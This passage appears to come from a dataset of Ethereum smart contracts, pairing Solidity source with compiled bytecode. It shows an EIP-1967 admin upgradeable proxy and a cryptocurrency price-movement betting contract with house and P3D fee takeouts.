return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,656 |
0xe75a60da4bad89b84d10a7ab8e28f9ed7ba22401 | pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface P3DTakeout {
function buyTokens() external payable;
}
contract Betting {
using SafeMath for uint256; //using safemath
address public owner; //owner address
address house_takeout = 0xf783A81F046448c38f3c863885D9e99D10209779;
P3DTakeout P3DContract_;
uint public winnerPoolTotal;
string public constant version = "0.2.3";
struct chronus_info {
bool betting_open; // boolean: check if betting is open
bool race_start; //boolean: check if race has started
bool race_end; //boolean: check if race has ended
bool voided_bet; //boolean: check if race has been voided
uint32 starting_time; // timestamp of when the race starts
uint32 betting_duration;
uint32 race_duration; // duration of the race
uint32 voided_timestamp;
}
struct horses_info{
int64 BTC_delta; //horses.BTC delta value
int64 ETH_delta; //horses.ETH delta value
int64 LTC_delta; //horses.LTC delta value
bytes32 BTC; //32-bytes equivalent of horses.BTC
bytes32 ETH; //32-bytes equivalent of horses.ETH
bytes32 LTC; //32-bytes equivalent of horses.LTC
}
struct bet_info{
bytes32 horse; // coin on which amount is bet on
uint amount; // amount bet by Bettor
}
struct coin_info{
uint256 pre; // locking price
uint256 post; // ending price
uint160 total; // total coin pool
uint32 count; // number of bets
bool price_check;
}
struct voter_info {
uint160 total_bet; //total amount of bet placed
bool rewarded; // boolean: check for double spending
mapping(bytes32=>uint) bets; //array of bets
}
mapping (bytes32 => coin_info) public coinIndex; // mapping coins with pool information
mapping (address => voter_info) voterIndex; // mapping voter address with Bettor information
uint public total_reward; // total reward to be awarded
uint32 total_bettors;
mapping (bytes32 => bool) public winner_horse;
// tracking events
event Deposit(address _from, uint256 _value, bytes32 _horse, uint256 _date);
event Withdraw(address _to, uint256 _value);
event PriceCallback(bytes32 coin_pointer, uint256 result, bool isPrePrice);
event RefundEnabled(string reason);
// constructor
constructor() public payable {
owner = msg.sender;
horses.BTC = bytes32("BTC");
horses.ETH = bytes32("ETH");
horses.LTC = bytes32("LTC");
P3DContract_ = P3DTakeout(0x72b2670e55139934D6445348DC6EaB4089B12576);
}
// data access structures
horses_info public horses;
chronus_info public chronus;
// modifiers for restricting access to methods
modifier onlyOwner {
require(owner == msg.sender);
_;
}
modifier duringBetting {
require(chronus.betting_open);
require(now < chronus.starting_time + chronus.betting_duration);
_;
}
modifier beforeBetting {
require(!chronus.betting_open && !chronus.race_start);
_;
}
modifier afterRace {
require(chronus.race_end);
_;
}
//function to change owner
function changeOwnership(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function priceCallback (bytes32 coin_pointer, uint256 result, bool isPrePrice ) external onlyOwner {
require (!chronus.race_end);
emit PriceCallback(coin_pointer, result, isPrePrice);
chronus.race_start = true;
chronus.betting_open = false;
if (isPrePrice) {
if (now >= chronus.starting_time+chronus.betting_duration+ 60 minutes) {
emit RefundEnabled("Late start price");
forceVoidRace();
} else {
coinIndex[coin_pointer].pre = result;
}
} else if (!isPrePrice){
if (coinIndex[coin_pointer].pre > 0 ){
if (now >= chronus.starting_time+chronus.race_duration+ 60 minutes) {
emit RefundEnabled("Late end price");
forceVoidRace();
} else {
coinIndex[coin_pointer].post = result;
coinIndex[coin_pointer].price_check = true;
if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) {
reward();
}
}
} else {
emit RefundEnabled("End price came before start price");
forceVoidRace();
}
}
}
// place a bet on a coin(horse) lockBetting
function placeBet(bytes32 horse) external duringBetting payable {
require(msg.value >= 0.01 ether);
if (voterIndex[msg.sender].total_bet==0) {
total_bettors+=1;
}
uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value;
voterIndex[msg.sender].bets[horse] = _newAmount;
voterIndex[msg.sender].total_bet += uint160(msg.value);
uint160 _newTotal = coinIndex[horse].total + uint160(msg.value);
uint32 _newCount = coinIndex[horse].count + 1;
coinIndex[horse].total = _newTotal;
coinIndex[horse].count = _newCount;
emit Deposit(msg.sender, msg.value, horse, now);
}
// fallback method for accepting payments
function () private payable {}
// method to place the oraclize queries
function setupRace(uint32 _bettingDuration, uint32 _raceDuration) onlyOwner beforeBetting external payable {
chronus.starting_time = uint32(block.timestamp);
chronus.betting_open = true;
chronus.betting_duration = _bettingDuration;
chronus.race_duration = _raceDuration;
}
// method to calculate reward (called internally by callback)
function reward() internal {
/*
calculating the difference in price with a precision of 5 digits
not using safemath since signed integers are handled
*/
horses.BTC_delta = int64(coinIndex[horses.BTC].post - coinIndex[horses.BTC].pre)*100000/int64(coinIndex[horses.BTC].pre);
horses.ETH_delta = int64(coinIndex[horses.ETH].post - coinIndex[horses.ETH].pre)*100000/int64(coinIndex[horses.ETH].pre);
horses.LTC_delta = int64(coinIndex[horses.LTC].post - coinIndex[horses.LTC].pre)*100000/int64(coinIndex[horses.LTC].pre);
total_reward = (coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total);
if (total_bettors <= 1) {
emit RefundEnabled("Not enough participants");
forceVoidRace();
} else {
// house takeout
uint house_fee = total_reward.mul(5).div(100);
require(house_fee < address(this).balance);
total_reward = total_reward.sub(house_fee);
house_takeout.transfer(house_fee);
// p3d takeout
uint p3d_fee = house_fee/2;
require(p3d_fee < address(this).balance);
total_reward = total_reward.sub(p3d_fee);
P3DContract_.buyTokens.value(p3d_fee)();
}
if (horses.BTC_delta > horses.ETH_delta) {
if (horses.BTC_delta > horses.LTC_delta) {
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total;
}
else if(horses.LTC_delta > horses.BTC_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.BTC] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.BTC].total + (coinIndex[horses.LTC].total);
}
} else if(horses.ETH_delta > horses.BTC_delta) {
if (horses.ETH_delta > horses.LTC_delta) {
winner_horse[horses.ETH] = true;
winnerPoolTotal = coinIndex[horses.ETH].total;
}
else if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else {
winner_horse[horses.ETH] = true;
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.LTC].total);
}
} else {
if (horses.LTC_delta > horses.ETH_delta) {
winner_horse[horses.LTC] = true;
winnerPoolTotal = coinIndex[horses.LTC].total;
} else if(horses.LTC_delta < horses.ETH_delta){
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total);
} else {
winner_horse[horses.LTC] = true;
winner_horse[horses.ETH] = true;
winner_horse[horses.BTC] = true;
winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total) + (coinIndex[horses.LTC].total);
}
}
chronus.race_end = true;
}
// method to calculate an invidual's reward
function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) {
voter_info storage bettor = voterIndex[candidate];
if(chronus.voided_bet) {
winner_reward = bettor.total_bet;
} else {
uint winning_bet_total;
if(winner_horse[horses.BTC]) {
winning_bet_total += bettor.bets[horses.BTC];
} if(winner_horse[horses.ETH]) {
winning_bet_total += bettor.bets[horses.ETH];
} if(winner_horse[horses.LTC]) {
winning_bet_total += bettor.bets[horses.LTC];
}
winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000);
}
}
// method to just check the reward amount
function checkReward() afterRace external constant returns (uint) {
require(!voterIndex[msg.sender].rewarded);
return calculateReward(msg.sender);
}
// method to claim the reward amount
function claim_reward() afterRace external {
require(!voterIndex[msg.sender].rewarded);
uint transfer_amount = calculateReward(msg.sender);
require(address(this).balance >= transfer_amount);
voterIndex[msg.sender].rewarded = true;
msg.sender.transfer(transfer_amount);
emit Withdraw(msg.sender, transfer_amount);
}
function forceVoidRace() internal {
chronus.voided_bet=true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
}
// exposing the coin pool details for DApp
function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint) {
uint256 coinPrePrice;
uint256 coinPostPrice;
if (coinIndex[horses.ETH].pre > 0 && coinIndex[horses.BTC].pre > 0 && coinIndex[horses.LTC].pre > 0) {
coinPrePrice = coinIndex[index].pre;
}
if (coinIndex[horses.ETH].post > 0 && coinIndex[horses.BTC].post > 0 && coinIndex[horses.LTC].post > 0) {
coinPostPrice = coinIndex[index].post;
}
return (coinIndex[index].total, coinPrePrice, coinPostPrice, coinIndex[index].price_check, voterIndex[candidate].bets[index]);
}
// exposing the total reward amount for DApp
function reward_total() external constant returns (uint) {
return ((coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total));
}
// in case of any errors in race, enable full refund for the Bettors to claim
function refund() external onlyOwner {
require(now > chronus.starting_time + chronus.race_duration);
require((chronus.betting_open && !chronus.race_start)
|| (chronus.race_start && !chronus.race_end));
chronus.voided_bet = true;
chronus.race_end = true;
chronus.voided_timestamp=uint32(now);
}
// method to claim unclaimed winnings after 30 day notice period
function recovery() external onlyOwner{
require((chronus.race_end && now > chronus.starting_time + chronus.race_duration + (30 days))
|| (chronus.voided_bet && now > chronus.voided_timestamp + (30 days)));
house_takeout.transfer(address(this).balance);
}
} | 0x6080604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663042b5fed81146100fd578063055ee253146101085780630f7696441461011d57806311dcee2f1461014957806329114d65146101695780632af4c31e1461019057806343bddf40146101b157806354fd4d5014610208578063590e1ae3146102925780637274f35b146102a757806384304ee5146102f85780638b63c86f1461035b5780638da5cb5b14610372578063aa93038b146103a3578063c4b24a46146103b8578063d2aed6d7146103cd578063d3d2172e14610420578063ddceafa914610435575b005b6100fb60043561044a565b34801561011457600080fd5b506100fb6105e5565b34801561012957600080fd5b506101356004356106d5565b604080519115158252519081900360200190f35b34801561015557600080fd5b506100fb60043560243560443515156106ea565b34801561017557600080fd5b5061017e6109ee565b60408051918252519081900360200190f35b34801561019c57600080fd5b506100fb600160a060020a03600435166109f4565b3480156101bd57600080fd5b506101c6610a3a565b60408051600797880b880b815295870b870b602087015293860b90950b848401526060840191909152608083015260a082019290925290519081900360c00190f35b34801561021457600080fd5b5061021d610a6c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025757818101518382015260200161023f565b50505050905090810190601f1680156102845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029e57600080fd5b506100fb610aa3565b3480156102b357600080fd5b506102cb600435600160a060020a0360243516610b85565b60408051958652602086019490945284840192909252151560608401526080830152519081900360a00190f35b34801561030457600080fd5b5061030d610cb1565b604080519815158952961515602089015294151587870152921515606087015263ffffffff9182166080870152811660a086015290811660c08501521660e083015251908190036101000190f35b6100fb63ffffffff60043581169060243516610d13565b34801561037e57600080fd5b50610387610dd1565b60408051600160a060020a039092168252519081900360200190f35b3480156103af57600080fd5b5061017e610de0565b3480156103c457600080fd5b5061017e610e25565b3480156103d957600080fd5b506103e5600435610e71565b604080519586526020860194909452600160a060020a039092168484015263ffffffff16606084015215156080830152519081900360a00190f35b34801561042c57600080fd5b5061017e610eb5565b34801561044157600080fd5b506100fb610ebb565b600d546000908190819060ff16151561046257600080fd5b600d54640100000000810463ffffffff9081166801000000000000000090920481169190910116421061049457600080fd5b662386f26fc100003410156104a857600080fd5b33600090815260056020526040902054600160a060020a031615156104e4576007805463ffffffff8082166001011663ffffffff199091161790555b50503360008181526005602090815260408083208684526001808201845282852080543490810191829055835473ffffffffffffffffffffffffffffffffffffffff19808216600160a060020a0392831684018316179095556004875296859020600201805494851685891683019889161777ffffffff0000000000000000000000000000000000000000191660a060020a9586900463ffffffff90811690950194851690950294909417909355835196875293860191909152848201879052426060860152905191945091927f60452eb7177e8d41c9d9fbc4c6e9ccf55a4d44d412355fbf2f02668e0d1a0ce1916080918190039190910190a150505050565b600d5460009062010000900460ff1615156105ff57600080fd5b3360009081526005602052604090205460a060020a900460ff161561062357600080fd5b61062c33610f95565b9050303181111561063c57600080fd5b33600081815260056020526040808220805474ff0000000000000000000000000000000000000000191660a060020a1790555183156108fc0291849190818181858888f19350505050158015610696573d6000803e3d6000fd5b50604080513381526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a150565b60086020526000908152604090205460ff1681565b600054600160a060020a0316331461070157600080fd5b600d5462010000900460ff161561071757600080fd5b60408051848152602081018490528215158183015290517fde16ef9c49ad256644606beb97130511ba3d64bbd230380f8edd107527e5a9da9181900360600190a1600d805460ff1961ff001990911661010017169055801561081657600d54610e10640100000000820463ffffffff90811668010000000000000000909304811692909201011642106107ff576040805160208082526010908201527f4c617465207374617274207072696365000000000000000000000000000000008183015290516000805160206118608339815191529181900360600190a16107fa610b3b565b610811565b60008381526004602052604090208290555b6109e9565b8015156109e957600083815260046020526040812054111561096d57600d54610e10640100000000820463ffffffff9081166c01000000000000000000000000909304811692909201011642106108bd57604080516020808252600e908201527f4c61746520656e642070726963650000000000000000000000000000000000008183015290516000805160206118608339815191529181900360600190a16107fa610b3b565b600083815260046020526040808220600181018590556002908101805478ff000000000000000000000000000000000000000000000000191660c060020a908117909155600b54845291909220909101540460ff1680156109395750600a5460009081526004602052604090206002015460c060020a900460ff165b80156109605750600c5460009081526004602052604090206002015460c060020a900460ff165b15610811576108116110cf565b6040805160208082526021908201527f456e642070726963652063616d65206265666f72652073746172742070726963818301527f6500000000000000000000000000000000000000000000000000000000000000606082015290516000805160206118608339815191529181900360800190a16109e9610b3b565b505050565b60035481565b600054600160a060020a03163314610a0b57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600954600a54600b54600c54600784810b94680100000000000000008104820b94608060020a90910490910b92909186565b60408051808201909152600581527f302e322e33000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a03163314610aba57600080fd5b600d54640100000000810463ffffffff9081166c01000000000000000000000000909204811691909101164211610af057600080fd5b600d5460ff168015610b0a5750600d54610100900460ff16155b80610b305750600d54610100900460ff168015610b305750600d5462010000900460ff16155b1515610b3b57600080fd5b600d805462010000630100000063ff000000199092169190911762ff000019161773ffffffff000000000000000000000000000000001916608060020a4263ffffffff1602179055565b600b5460009081526004602052604081205481908190819081908190819081108015610bc05750600a54600090815260046020526040812054115b8015610bdb5750600c54600090815260046020526040812054115b15610bf25760008981526004602052604090205491505b600b54600090815260046020526040812060010154118015610c265750600a54600090815260046020526040812060010154115b8015610c445750600c54600090815260046020526040812060010154115b15610c5d57506000888152600460205260409020600101545b600089815260046020908152604080832060020154600160a060020a039b8c168452600583528184209c84526001909c01909152902054978916999198909760c060020a90910460ff169650945092505050565b600d5460ff808216916101008104821691620100008204811691630100000081049091169063ffffffff64010000000082048116916801000000000000000081048216916c010000000000000000000000008204811691608060020a90041688565b600054600160a060020a03163314610d2a57600080fd5b600d5460ff16158015610d455750600d54610100900460ff16155b1515610d5057600080fd5b600d805463ffffffff9283166c01000000000000000000000000026fffffffff0000000000000000000000001994841668010000000000000000026bffffffff00000000000000001960ff1942969096166401000000000267ffffffff00000000199094169390931794909416600117919091169290921792909216179055565b600054600160a060020a031681565b600c54600090815260046020526040808220600290810154600b548452828420820154600a548552929093200154600160a060020a0392831691831690831601011690565b600d5460009062010000900460ff161515610e3f57600080fd5b3360009081526005602052604090205460a060020a900460ff1615610e6357600080fd5b610e6c33610f95565b905090565b600460205260009081526040902080546001820154600290920154909190600160a060020a0381169060a060020a810463ffffffff169060c060020a900460ff1685565b60065481565b600054600160a060020a03163314610ed257600080fd5b600d5462010000900460ff168015610f185750600d5462278d00640100000000820463ffffffff9081166c01000000000000000000000000909304811692909201011642115b80610f4d5750600d546301000000900460ff168015610f4d5750600d5462278d0063ffffffff608060020a9092048216011642115b1515610f5857600080fd5b600154604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610f92573d6000803e3d6000fd5b50565b600d546000908190819062010000900460ff161515610fb357600080fd5b600160a060020a0384166000908152600560205260409020600d549092506301000000900460ff1615610ff2578154600160a060020a031692506110c8565b600a5460009081526008602052604090205460ff161561102257600a546000908152600183016020526040902054015b600b5460009081526008602052604090205460ff161561105257600b546000908152600183016020526040902054015b600c5460009081526008602052604090205460ff161561108257600c546000908152600183016020526040902054015b6110c3629896806110ab836110b76003546110ab6298968060065461180b90919063ffffffff16565b9063ffffffff61183616565b9063ffffffff61180b16565b830192505b5050919050565b600a54600090815260046020526040812080546001909101548291600781810b9291909103620186a002900b81151561110457fe5b6009805467ffffffffffffffff191667ffffffffffffffff93909205600790810b93909316919091179055600b54600090815260046020526040902080546001919091015481830b92919003620186a002900b81151561116057fe5b6009805492909105600790810b67ffffffffffffffff1668010000000000000000026fffffffffffffffff000000000000000019909316929092179055600c54600090815260046020526040902080546001919091015481830b92620186a09290910391909102900b8115156111d257fe5b6009805477ffffffffffffffff000000000000000000000000000000001916608060020a67ffffffffffffffff94909305600790810b9490941692909202919091179055600c54600090815260046020526040808220600290810154600b548452828420820154600a548552929093200154600160a060020a0392831691831690831601011660065554600163ffffffff909116116112c6576040805160208082526017908201527f4e6f7420656e6f756768207061727469636970616e74730000000000000000008183015290516000805160206118608339815191529181900360600190a16112c1610b3b565b6113e3565b6112e160646110ab600560065461180b90919063ffffffff16565b9150303182106112f057600080fd5b600654611303908363ffffffff61184d16565b600655600154604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015611340573d6000803e3d6000fd5b5050600281043031811061135357600080fd5b600654611366908263ffffffff61184d16565b600655600254604080517fd0febe4c0000000000000000000000000000000000000000000000000000000081529051600160a060020a039092169163d0febe4c918491600480830192600092919082900301818588803b1580156113c957600080fd5b505af11580156113dd573d6000803e3d6000fd5b50505050505b600954680100000000000000008104600790810b810b91810b900b131561152157600954608060020a8104600790810b810b91810b900b131561145e57600a80546000908152600860209081526040808320805460ff1916600117905592548252600490522060020154600160a060020a031660035561151c565b600954600781810b810b608060020a909204810b900b13156114b857600c80546000908152600860209081526040808320805460ff1916600117905592548252600490522060020154600160a060020a031660035561151c565b600a805460009081526008602090815260408083208054600160ff199182168117909255600c805486528386208054909216909217905554835260049091528082206002908101549354835291200154600160a060020a0391821690821601166003555b6117f6565b600954600781810b810b68010000000000000000909204810b900b131561167657600954608060020a8104600790810b810b68010000000000000000909204810b900b13156115a857600b80546000908152600860209081526040808320805460ff1916600117905592548252600490522060020154600160a060020a031660035561151c565b600954680100000000000000008104600790810b810b608060020a909204810b900b131561160e57600c80546000908152600860209081526040808320805460ff1916600117905592548252600490522060020154600160a060020a031660035561151c565b600b805460009081526008602090815260408083208054600160ff199182168117909255600c805486528386208054909216909217905554835260049091528082206002908101549354835291200154600160a060020a0391821690821601166003556117f6565b600954680100000000000000008104600790810b810b608060020a909204810b900b13156116dc57600c80546000908152600860209081526040808320805460ff1916600117905592548252600490522060020154600160a060020a03166003556117f6565b600954680100000000000000008104600790810b810b608060020a909204810b900b121561176c57600b805460009081526008602090815260408083208054600160ff199182168117909255600a805486528386208054909216909217905554835260049091528082206002908101549354835291200154600160a060020a0391821690821601166003556117f6565b600c805460009081526008602090815260408083208054600160ff199182168117909255600b805486528386208054831684179055600a8054875284872080549093169093179091559454845260049092528083206002908101549254845281842081015494548452922090910154600160a060020a039182169282169082160191909101166003555b5050600d805462ff0000191662010000179055565b6000828202831580611827575082848281151561182457fe5b04145b151561182f57fe5b9392505050565b600080828481151561184457fe5b04949350505050565b60008282111561185957fe5b5090039056009267bd1e840f8c032ec399dab88550ddacce435477212b384a3d761f395efa7fa165627a7a72305820e77d45ce6aa99d6d4a5bb